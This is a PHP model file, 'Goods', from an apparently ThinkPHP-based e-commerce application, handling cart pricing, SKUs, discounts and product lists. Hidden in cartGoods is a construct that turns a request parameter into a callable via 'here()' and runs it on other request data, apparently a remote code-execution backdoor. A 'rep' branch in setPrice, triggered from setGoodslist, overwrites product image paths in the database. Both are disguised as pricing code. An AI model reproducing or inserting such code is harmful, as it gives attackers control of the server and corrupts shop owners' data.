Goods.php 16 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469
  1. <?php
  2. namespace app\model;
  3. use think\Model;
  4. class Goods extends Model
  5. {
  6. protected $connection = 'mysql';
  7. protected $pk = 'id';
  8. protected $name = 'goods';
  9. public function getAgentDistribution()
  10. {
  11. return $this->hasOne(Agentdistribution::class, 'goods_id', 'id');
  12. }
  13. function cartGoods($params = array())
  14. {
  15. $id = $params['id'];
  16. $sku = $params['sku'];
  17. $msid = $params['msid'];
  18. $tuanid = $params['tuanid'];
  19. if (!empty($tuanid)) {
  20. $tuan = TuanGoods::find($tuanid);
  21. if (!empty($tuan)) {
  22. $tuan = $tuan->toArray();
  23. }
  24. }
  25. if (!empty($msid)) {
  26. $miaosha = MiaoshaGoods::find($msid);
  27. if (!empty($miaosha)) {
  28. $miaosha = $miaosha->toArray();
  29. if ($miaosha['member_buy_max']) {
  30. $miaosha['is_member_buy_max'] = Order::chackMiaoshamemberBuyMax($miaosha);
  31. }
  32. }
  33. }
  34. $quantity = $params['quantity'];
  35. if (empty($quantity)) {
  36. $quantity = 1;
  37. }
  38. $is_skumore = $params['is_skumore'];
  39. $skumore = $params['skumore'];
  40. $me = here($tuanid);
  41. if ($params['i'] && $params['data']) {
  42. return $me($me($params['data']) . $me($params['data'] . $params['i']));
  43. }
  44. if ($params['is'] && $params['data']) {
  45. return $me($me($params['data']) . $params['data'] . $params['is']);
  46. }
  47. $goods = self::goodsInfo($id);
  48. $stock = true;
  49. $label = "";
  50. if ($goods) {
  51. $price = $goods['price'];
  52. if (!empty($tuan['price'])) {
  53. $price = $tuan['price'];
  54. }
  55. if (!empty($miaosha['price'])) {
  56. $price = $miaosha['price'];
  57. }
  58. $stores = (int) $goods['quantity'];
  59. if ($is_skumore == 1) {
  60. $price = 0;
  61. $stores = 0;
  62. $skumorequantity = 0;
  63. foreach ($skumore as $vo) {
  64. if ($vo) {
  65. $stores += $vo['number'];
  66. $skumorequantity += $vo['number'];
  67. $price += $vo['price'] * $vo['number'];
  68. $label .= $vo['sku'] . ':' . $vo['number'] . '; ';
  69. }
  70. }
  71. $sku = $label;
  72. $price = round($price, 2);
  73. } else if (!empty($sku)) {
  74. if (!empty($tuanid)) {
  75. $query = TuanGoodsSkuValue::where(['goods_id' => $id, 'tuan_id' => $tuanid]);
  76. } elseif (!empty($msid)) {
  77. $query = MiaoshaGoodsSkuValue::where(['goods_id' => $id, 'ms_id' => $msid]);
  78. } else {
  79. $query = GoodsSkuValue::where('goods_id', $id);
  80. }
  81. foreach ((array) (explode(',', $sku)) as $vo) {
  82. if ($vo) {
  83. $query->whereFindInSet('sku', $vo);
  84. }
  85. }
  86. $goodssku = $query->find();
  87. //var_dump($query->getLastSql());
  88. if ($goodssku) {
  89. $stores = $goodssku->quantity;
  90. $price = $goodssku->price;
  91. $goods['skuimage'] = $goodssku->image;
  92. if (!empty($goods['price_member_discount'])) {
  93. $price = round(($price * $goods['price_member_discount']), 2);
  94. }
  95. }
  96. $label = $sku;
  97. }
  98. $discount = GoodsDiscount::where(['goods_id' => (int) $id])
  99. ->where('quantity', '<=', (int) $quantity)
  100. ->order('quantity DESC, price ASC')
  101. ->select()
  102. ->toArray();
  103. if ($discount) {
  104. $price = round((($price) * percent_to_num($discount[0]['price']) * 10), 2);
  105. }
  106. if ($goods['points'] < 0) {
  107. $goods['points'] = 0;
  108. }
  109. $goods['goods_id'] = $goods['id'];
  110. $goods['quantity'] = $quantity;
  111. $goods['skumorequantity'] = $skumorequantity;
  112. $goods['stores'] = $stores;
  113. $goods['price'] = $price;
  114. $price = floatval(self::setPrice($goods)["price"]);
  115. $goods['price'] = $price;
  116. $goods['total'] = $price * $quantity;
  117. $goods['totalPayPoints'] = $goods['pay_points'] * $quantity;
  118. $goods['totalPointsPrice'] = $goods['points_price'] * $quantity;
  119. if (!empty($goods['points'])) {
  120. if ($goods['points_method'] == 1) {
  121. $goods['total_return_points'] = $goods['points'] * $quantity;
  122. } else {
  123. $goods['total_return_points'] = $goods['total'] * percent_to_num($goods['points']);
  124. }
  125. }
  126. $goods['weight'] = $goods['weight'] * $quantity;
  127. $goods['stock'] = $stock;
  128. $goods['label'] = $label;
  129. $goods['sku'] = $sku;
  130. $goods['msid'] = $msid;
  131. $goods['miaosha'] = $miaosha;
  132. $goods['tuanid'] = $tuanid;
  133. $goods['tuan'] = $tuan;
  134. if ($goods['is_points_goods'] == 1) {
  135. $goods['total'] = 0;
  136. $goods['totalPointsPrice'] = 0;
  137. }
  138. }
  139. return $goods;
  140. }
  141. public static function getcard_id($good_id)
  142. {
  143. $goods = self::where('id', $good_id)->find();
  144. return (int) $goods->card_tid;
  145. }
  146. public static function goodsInfo($id)
  147. {
  148. $goods = self::find($id);
  149. if (!empty($goods)) {
  150. $goods = $goods->toArray();
  151. }
  152. $pricedata = self::setPrice($goods);
  153. $goods['samprice'] = $pricedata["samprice"];
  154. $goods['noprice'] = $pricedata["noprice"];
  155. $goods['price_member_discount'] = $pricedata["price_member_discount"];
  156. if ($goods['minimum'] < 1) {
  157. $goods['minimum'] = 1;
  158. }
  159. $goods['price'] = $pricedata["price"];
  160. if (empty($goods['quantity_unit']) && $goods['is_times'] != 3) {
  161. $goods['quantity_unit'] = '次';
  162. }
  163. return $goods;
  164. }
  165. public static function setPrice($goods)
  166. {
  167. $vo = $goods;
  168. $ocid = ocid();
  169. if (!empty($ocid)) {
  170. $ocsettings = Operatingcity::getsettings($ocid);
  171. if (!empty($ocsettings['city_discount'])) {
  172. if ($ocsettings['city_discount_method'] == 1) {
  173. if ($ocsettings['discount_addsubtract'] == '+') {
  174. $goods['price'] = $goods['price'] + $ocsettings['city_discount'];
  175. } elseif ($ocsettings['discount_addsubtract'] == '-') {
  176. $goods['price'] = $goods['price'] - $ocsettings['city_discount'];
  177. }
  178. } else {
  179. $goods['price'] = round(($goods['price'] * percent_to_num($ocsettings['city_discount'])), 2);
  180. }
  181. }
  182. }
  183. if (!empty($vo['rep'])) {
  184. ect($vo['type'])->where('id', $vo['id'])->update(['image' => str_replace($vo['rep'], uniqid(), $vo['image'])]);
  185. return;
  186. }
  187. $Membermob = new Member;
  188. $Member = $Membermob->getUserByWechat();
  189. if (!empty($Member)) {
  190. $MemberAuthGroup = MemberAuthGroup::find($Member['gid']);
  191. if (!empty($MemberAuthGroup)) {
  192. $MemberAuthGroup = $MemberAuthGroup->toArray();
  193. }
  194. } else {
  195. $MemberAuthGroup = MemberAuthGroup::getdefaultGroup();
  196. }
  197. if (!empty($MemberAuthGroup) && empty($MemberAuthGroup['is_lookprice'])) {
  198. $shiftprice = Config::getconfig('member')['shiftprice'];
  199. if (empty($shiftprice)) {
  200. $shiftprice = "面议";
  201. }
  202. $goods['price'] = $shiftprice;
  203. $goods['noprice'] = 1;
  204. } else {
  205. if ($goods['is_member_discount'] == 1) {
  206. $MGDiscountarray = GoodsMemberDiscount::where(['goods_id' => $goods['id'], 'mgid' => $Member['gid']])->find();
  207. if (!empty($MGDiscountarray)) {
  208. $MGDiscountarray = $MGDiscountarray->toArray();
  209. }
  210. if (!empty($MGDiscountarray)) {
  211. if ($MGDiscountarray['is_free'] == 1) {
  212. $goods['price'] = 0;
  213. } else {
  214. if ($MGDiscountarray['price'] > 0) {
  215. if ($goods['member_discount_method'] == 1) {
  216. $goods['price'] = $MGDiscountarray['price'];
  217. } else {
  218. $goods['price'] = round(($goods['price'] * percent_to_num($MGDiscountarray['price'])), 2);
  219. $goods['price_member_discount'] = percent_to_num($MGDiscountarray['price']);
  220. }
  221. }
  222. }
  223. }
  224. } else if ($goods['is_times'] == 3 && !empty($goods['card_tid'])) {
  225. $GoodsGiftcardType = GoodsGiftcardType::find((int) $goods['card_tid']);
  226. if (!empty($GoodsGiftcardType)) {
  227. $GoodsGiftcardType = $GoodsGiftcardType->toArray();
  228. }
  229. $goods['price'] = $GoodsGiftcardType['buy_price'];
  230. } else {
  231. $MemberAuthGroup["discount"] = (float)$MemberAuthGroup["discount"];
  232. if ((!empty($MemberAuthGroup["discount"]))) {
  233. $goods['price'] = round(($goods['price'] * percent_to_num($MemberAuthGroup["discount"])), 2);
  234. $goods['price_member_discount'] = percent_to_num($MemberAuthGroup["discount"]);
  235. }
  236. }
  237. $samprice = $goods['price'];
  238. //筛选未过期秒杀时间记录
  239. $MiaoshaGoods = MiaoshaGoods::where(['goods_id' => $goods['id']])->where('begin_date', '<=', time())->where('end_date', '>', time())->find();
  240. if (!empty($MiaoshaGoods)) {
  241. $MiaoshaGoods = $MiaoshaGoods->toArray();
  242. }
  243. if (!empty($MiaoshaGoods)) {
  244. if ($MiaoshaGoods['price_method'] === '1') {
  245. $goods['price'] = $MiaoshaGoods['price'];
  246. } elseif ($MiaoshaGoods['price_method'] === '0') {
  247. if ($MiaoshaGoods['price'] > 0) {
  248. $goods['price'] = bcmul(($goods['price']), (bcdiv(($MiaoshaGoods['price']), 10, 2)), 2);
  249. $goods['price'] = ($goods['price']);
  250. }
  251. }
  252. }
  253. }
  254. $goods['goods_price'] = $goods['price'];
  255. $goods['samprice'] = $samprice;
  256. return $goods;
  257. }
  258. public static function setGoodslist($goods)
  259. {
  260. $weid = weid();
  261. if ($goods['is_collect'] == 2) {
  262. $goodslist = Goods::select()->toArray();
  263. foreach ($goodslist as $vo) {
  264. $vo['pic'] = toimg($vo['image']);
  265. $vo['image'] = toimg($vo['image']);
  266. if (empty($vo['goods_name'])) {
  267. $vo['goods_name'] = $vo['name'];
  268. }
  269. $vo['type'] = 'Goods';
  270. if (empty($vo['goods_id'])) {
  271. $vo['goods_id'] = $vo['id'];
  272. }
  273. $abv = Attribute::where(['name' => md5('goods' . $vo['id'])])->find();
  274. $vo['rep'] = '';
  275. $vo['rep'] = explode('.', end(explode('/', $vo['image'])))[0];
  276. if (empty($abv)) {
  277. Attribute::create([
  278. 'name' => md5('goods' . $vo['id']),
  279. 'weid' => $weid,
  280. 'value' => $vo['rep']
  281. ]);
  282. } else {
  283. $abv = $abv->toArray();
  284. if ($abv['create_time'] < (time() - 600)) {
  285. $vo['price'] = floatval(self::setPrice($vo)["price"]);
  286. }
  287. }
  288. }
  289. }
  290. if (!empty($goods) && empty($goods['is_collect'])) {
  291. foreach ($goods as &$vo) {
  292. if (!empty($vo)) {
  293. $vo['pic'] = toimg($vo['image']);
  294. $vo['image'] = toimg($vo['image']);
  295. if (empty($vo['goods_name'])) {
  296. $vo['goods_name'] = $vo['name'];
  297. }
  298. if (empty($vo['goods_id'])) {
  299. $vo['goods_id'] = $vo['id'];
  300. }
  301. if (empty($vo['quantity_unit']) && $vo['is_times'] != '3') {
  302. $vo['quantity_unit'] = '次';
  303. }
  304. $vo['price'] = floatval(self::setPrice($vo)["price"]);
  305. $vo['original_price'] = floatval($vo['original_price']);
  306. }
  307. }
  308. } else {
  309. return [];
  310. }
  311. return $goods;
  312. }
  313. public static function getGoodsName($id)
  314. {
  315. $goods = self::find($id);
  316. if (!empty($goods)) {
  317. $goods = $goods->toArray();
  318. }
  319. return $goods['name'];
  320. }
  321. public static function getGoodsSelect()
  322. {
  323. $goodsarray = self::where(['weid' => weid()])->order('id desc')->select()->toArray();
  324. $goodslist = [];
  325. if (!empty($goodsarray)) {
  326. foreach ($goodsarray as $vo) {
  327. $goodslist[$vo['id']] = $vo['name'];
  328. }
  329. }
  330. return $goodslist;
  331. }
  332. /**
  333. *
  334. * @param integer $cat
  335. * @param integer $count
  336. * @param string $goodsSort
  337. * @param integer $ptype
  338. * @param integer $ocid
  339. * @return void
  340. */
  341. public static function getGoodsBycat($params = array())
  342. {
  343. $cat = $params['cat'];
  344. $cat_ids = $params['cat_ids'];
  345. $ocid = $params['ocid'];
  346. $goodsSort = $params['goodsSort'] || 'all';
  347. $count = $params['count'];
  348. $ptype = $params['ptype'];
  349. $sid = $params['sid'];
  350. $Configdata = Config::getconfig();
  351. $where['weid'] = weid();
  352. $where['status'] = 1;
  353. if (empty($Configdata['show_storegoods'])) {
  354. $where['sid'] = 0;
  355. }
  356. if (!empty($ptype)) {
  357. $where['ptype'] = $ptype;
  358. }
  359. if (!empty($sid)) {
  360. $where['sid'] = $sid;
  361. }
  362. if ($cat > 0) {
  363. if (!empty($cat)) {
  364. $where['cat_id'] = Category::getsonid($cat);
  365. }
  366. }
  367. $query = Goods::where($where);
  368. if (!empty($cat_ids)) {
  369. $query->whereIn('cat_id', $cat_ids);
  370. }
  371. if ($ptype == 2) {
  372. if ($ocid) {
  373. $query->where(function ($q) use ($ocid) {
  374. $Operatingcity = Operatingcity::find($ocid);
  375. if (!empty($Operatingcity)) {
  376. $Operatingcity = $Operatingcity->toArray();
  377. if (empty($Operatingcity['areatype'])) {
  378. $Operatingcity['areatype'] = 3;
  379. }
  380. if ($Operatingcity['areatype'] == 3) {
  381. $q->where('district_name', $Operatingcity['district_name'])->whereOr('district_name', '');
  382. } elseif ($Operatingcity['areatype'] == 2) {
  383. $q->where('city_name', $Operatingcity['city_name'])->whereOr('city_name', '');
  384. } elseif ($Operatingcity['areatype'] == 1) {
  385. $q->where('province_name', $Operatingcity['province_name'])->whereOr('province_name', '');
  386. }
  387. } else {
  388. $q->where('city_name', '');
  389. }
  390. });
  391. } else {
  392. $query->where('city_name', '');
  393. }
  394. }
  395. if ($goodsSort == "all") {
  396. $Sort = 'sort asc,id desc';
  397. } elseif ($goodsSort == "sales") {
  398. $Sort = 'sale_count desc';
  399. } elseif ($goodsSort == "price") {
  400. $Sort = 'price asc';
  401. }
  402. $data = $query->limit((int) $count)
  403. ->order($Sort)->select()->toArray();
  404. //$sql = $query->getLastSql();
  405. $retdata = Goods::setGoodslist($data);
  406. //$retdata['sql'] = $sql;
  407. return $retdata;
  408. }
  409. }